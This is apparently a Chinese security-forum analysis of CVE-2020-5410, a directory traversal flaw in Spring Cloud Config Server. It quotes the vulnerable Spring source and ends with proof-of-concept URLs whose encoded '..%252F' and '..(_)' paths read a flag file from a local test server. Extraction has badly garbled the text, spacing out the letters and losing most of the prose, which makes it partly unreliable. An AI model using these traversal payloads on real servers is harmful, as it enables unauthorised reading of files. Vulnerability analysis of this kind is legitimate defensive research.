[28353] 2020-06-15_CVE-2020-5410SpringCloudConfig目录穿越漏洞

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2020-06-15_CVE-2020-5410SpringCloudConfig目录穿越漏洞 C V E - 2 0 2 0 - 5 4 1 0   S p r i n g   C l o u d   C o n f i g 穿 p 0 d e s t a   O t s   2 0 2 0 - 0 6 - 1 5   -   p 0 d e s t a S p r i n g   C l o u d   C o n f i g 2 . 2 . 3 2 . 2 . x 2 . 1 . 9 2 . 1 . x s p r i n g - c l o u d - c o n f i g - s e r v e r 使 U R L S p r i n g   c l o u d   C o n f i g 穿 C V E - 2 0 1 9 - 3 7 9 9 C V E - 2 0 2 0 - 5 4 0 5 , : , , P a t h U t i l s , , , , , e n v i r o n m e n t / E n v i r o n m e n t C o n t r o l l e r . j a v a , n a m e l a b e l h t t p s : / / x z . a l i y u n . c o m / t / 7 5 5 8 #
E n v i r o n m e n t C o n t r o l l e r , , 穿 , 使 , , p r o f i l e s :         a c t i v e :   n a t i v e     c l o u d :         c o n f i g :             s e r v e r :                 n a t i v e :                     s e a r c h - l o c a t i o n s :                         -   f i l e : / t e s t / c o n f i g - r e p o - m a s t e r h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 8 8 9 / 1 1 1 / 2 2 2 / 3 3 3
, g e t A r g s e n v i r o n m e n t / N a t i v e E n v i r o n m e n t R e p o s i t o r y . j a v a
p r i v a t e   S t r i n g [ ]   g e t A r g s ( S t r i n g   a p p l i c a t i o n ,   S t r i n g   p r o f i l e ,   S t r i n g   l a b e l )   {                 L i s t < S t r i n g >   l i s t   =   n e w   A r r a y L i s t < S t r i n g > ( ) ;                 S t r i n g   c o n f i g   =   a p p l i c a t i o n ;                 i f   ( ! c o n f i g . s t a r t s W i t h ( " a p p l i c a t i o n " ) )   {                         c o n f i g   =   " a p p l i c a t i o n , "   +   c o n f i g ;                 }                 l i s t . a d d ( " - - s p r i n g . c o n f i g . n a m e = "   +   c o n f i g ) ;                 l i s t . a d d ( " - - s p r i n g . c l o u d . b o o t s t r a p . e n a b l e d = f a l s e " ) ;                 l i s t . a d d ( " - - e n c r y p t . f a i l O n E r r o r = "   +   t h i s . f a i l O n E r r o r ) ;                 l i s t . a d d ( " - - s p r i n g . c o n f i g . l o c a t i o n = "   +   S t r i n g U t i l s . a r r a y T o C o m m a D e l i m i t e d S t r i n g (                                 g e t L o c a t i o n s ( a p p l i c a t i o n ,   p r o f i l e ,   l a b e l ) . g e t L o c a t i o n s ( ) ) ) ;                 r e t u r n   l i s t . t o A r r a y ( n e w   S t r i n g [ 0 ] ) ;         } g e t L o c a t i o n s , e n v u r i l a b e l , l o c a t i o n , 穿 , , a r g s s p r i n g   b o o t , 使 l o a d e r . l o a d , l o c a t i o n s n a m e , , , 使 u r l . o p e n C o n n e c t i o n , l a b e l n a m e , u r l . o p e n C o n n e c t i o n , , n a m e , 使 e x t e n s i o n , p o c , 使 穿 ? , , u r l , , , u r l . o p e n C o n n e c t i o n , , C V E - 2 0 2 0 - 5 4 0 5 , e n v i r o n m e n t / N a t i v e E n v i r o n m e n t R e p o s i t o r y . j a v a C o n f i g u r a b l e A p p l i c a t i o n C o n t e x t   c o n t e x t   =   b u i l d e r . r u n ( a r g s ) u r l   =   e n v - u r i + l a b e l + n a m e + e x t e n s i o n # # . . / . . / ( _ ) /
, p u b l i c   s t a t i c   S t r i n g   n o r m a l i z e ( S t r i n g   s )   {                 i f   ( s   ! =   n u l l   & &   s . c o n t a i n s ( S L A S H _ P L A C E H O L D E R ) )   {                         / /   " ( _ ) "   i s   u n c o m m o n   i n   a   g i t   r e p o   n a m e ,   b u t   " / "   c a n n o t   b e   m a t c h e d                         / /   b y   S p r i n g   M V C                         r e t u r n   s . r e p l a c e ( S L A S H _ P L A C E H O L D E R ,   " / " ) ;                 }                 r e t u r n   s ;         } p o c : p o c , l a b e l + n a m e , l a b e l , 穿 n a m e ? , p o c h t t p s : / / t a n z u . v m w a r e . c o m / s e c u r i t y / c v e - 2 0 2 0 - 5 4 1 0 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 8 8 9 / f l a g . t x t % 2 3 / 2 2 2 / . . % 2 8 _ % 2 9 . . % 2 8 _ % 2 9 . . % 2 8 _ % 2 9 . . % 2 8 _ % 2 9 . . % 2 8 _ % 2 9 . . % 2 8 _ % 2 9 . . % 2 8 _ % 2 9 t m p % 2 8 _ % 2 9 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 8 8 9 / . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F . . % 2 5 2 F t m p % 2 5 2 F f l a g . t x t % 2 3 / 2 2 2 / 1 1

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则